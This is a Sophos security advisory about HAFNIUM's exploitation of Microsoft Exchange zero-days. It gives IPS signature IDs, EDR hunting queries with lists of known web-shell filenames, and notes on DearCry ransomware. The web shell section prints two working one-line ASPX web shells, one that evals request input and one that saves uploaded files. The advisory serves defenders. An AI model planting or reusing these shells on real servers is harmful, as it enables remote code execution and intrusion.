Sophos News

Protecting Sophos customers from HAFNIUM

  • Editor

    • Four new zero-day vulnerabilities affecting Microsoft Exchange are being actively exploited in the wild by HAFNIUM, a threat actor believed to be a nation state.

    Anyone running on-premises Exchange Servers should patch them without delay, and search their networks for indicators of attack.

    Sophos protections against HAFNIUM

    Sophos MTR, network and endpoint security customers benefit from multiple protections against the exploitation of the new vulnerabilities.

    Sophos MTR

    The Sophos MTR team has been monitoring our customer environments for behaviors associated with these vulnerabilities since their announcement. If we identify any malicious activity related to these vulnerabilities, we will create a case and be in touch with you directly.

    Sophos Firewall

    IPS signatures for customers running SFOS and XFOS:

    CVE SID
    CVE-2021-26855 57241, 57242, 57243, 57244, 2305106, 2305107
    CVE-2021-26857 57233, 57234
    CVE-2021-26858 57245, 57246
    CVE-2021-27065 57245, 57246

     

    These signatures are also present on the Endpoint IPS in Intercept X Advanced.

    IPS signatures for customers running Sophos UTM:

    CVE SID
    CVE-2021-26855 57241, 57242, 57243, 57244
    CVE-2021-26857 57233, 57234
    CVE-2021-26858 57245, 57246
    CVE-2021-27065 57245, 57246

     

    If you see these detection names on your networks you should investigate further and remediate.

    Sophos Intercept X Advanced and Sophos Antivirus (SAV)

    Customers can monitor the following AV signatures to identify potential HAFNIUM attacks:

    Web shell related

    Other payloads

    Due to the dynamic nature of the web shells, the shells are blocked but need to be removed manually. If you see these detection names on your networks you should investigate further and remediate.

    We have also blocked relevant C2 IP destinations, where it was safe to do so.

    In addition, the “lsass dump” stages of the attack are blocked by the credential protection (CredGuard) included in all Intercept X Advanced subscriptions.

    Sophos EDR

    Sophos EDR customers can leverage pre-prepared queries to identify potential web shells for investigation:

    /* Query for known web shell names */
SELECT
datetime(btime,'unixepoch') AS created_time,
filename,
directory,
size AS fileSize,
datetime(atime, 'unixepoch') AS access_time,
datetime(mtime, 'unixepoch') AS modified_time
FROM file
WHERE
(path LIKE 'C:\inetpub\wwwroot\aspnet_client\%' OR path LIKE 'C:\inetpub\wwwroot\aspnet_client\system_web\%' OR path LIKE 'C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\%')
AND filename IN ('web.aspx','help.aspx','document.aspx','errorEE.aspx','errorEEE.aspx','errorEW.aspx','errorFF.aspx','web.aspx','healthcheck.aspx','aspnet_www.aspx','aspnet_client.aspx','xx.aspx','shell.aspx','aspnet_iisstart.aspx','one.aspx','errorcheck.aspx','t.aspx','discover.aspx','aspnettest.aspx','error.aspx','RedirSuiteServerProxy.aspx','shellex.aspx','supp0rt.aspx','HttpProxy.aspx','system_web.aspx','OutlookEN.aspx','TimeoutLogout.aspx','Logout.aspx','OutlookJP.aspx','MultiUp.aspx','OutlookRU.aspx');
    /* Query for web shells with randomized 8 character names */
SELECT
datetime(btime,'unixepoch') AS created_time,
regex_match(filename, '[0-9a-zA-Z]{8}.aspx', 0) AS filename,
directory,
size AS fileSize,
datetime(atime, 'unixepoch') AS access_time,
datetime(mtime, 'unixepoch') AS modified_time
FROM file
WHERE (path LIKE 'C:\inetpub\wwwroot\aspnet_client\%' OR path LIKE 'C:\inetpub\wwwroot\aspnet_client\system_web\%' OR path LIKE 'C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\%');

    When reviewing the potential web shells identified by the queries, the web shell will typically appear inside an Exchange Offline Address Book (OAB) configuration file, in the ExternalUrl field. E.g.

    ExternalUrl : http://f/<script language=”JScript” runat=”server”>function Page_Load(){eval(Request[“key-here”],”unsafe”);}</script>

    ExternalUrl: http://g/<script Language=”c#” runat=”server”>void Page_Load(object sender, EventArgs e){if (Request.Files.Count!=0) { Request.Files[0].SaveAs(Server.MapPath(“error.aspx”));}}</script>

     

    Identifying signs of compromise

    The Sophos MTR team has published a step-by-step guide on how to search your network for signs of compromise.

    DearCry ransomware

    The actors behind DearCry ransomware are using the same vulnerabilities as the Hafnium group in their attacks. Sophos Intercept X detects and blocks Dearcry via:

     

    Editor note: Post updated with addition of IPS signatures for Sophos UTM and additional detections. 2021-03-10  08:35 UTC

    Editor note: Post updated with additional anti-malware signatures for Intercept X and Sophos Antvirus (SAV) 2021-03-11  14:30 UTC

    Editor note: Post updated to advise that signatures are now present on the Endpoint IPS, and the addition of two further AV signatures 2021-03-12 09:10 UTC

    Editor note: Post updated with DearCry ransomware detections 2021-03-12 16:30 UTC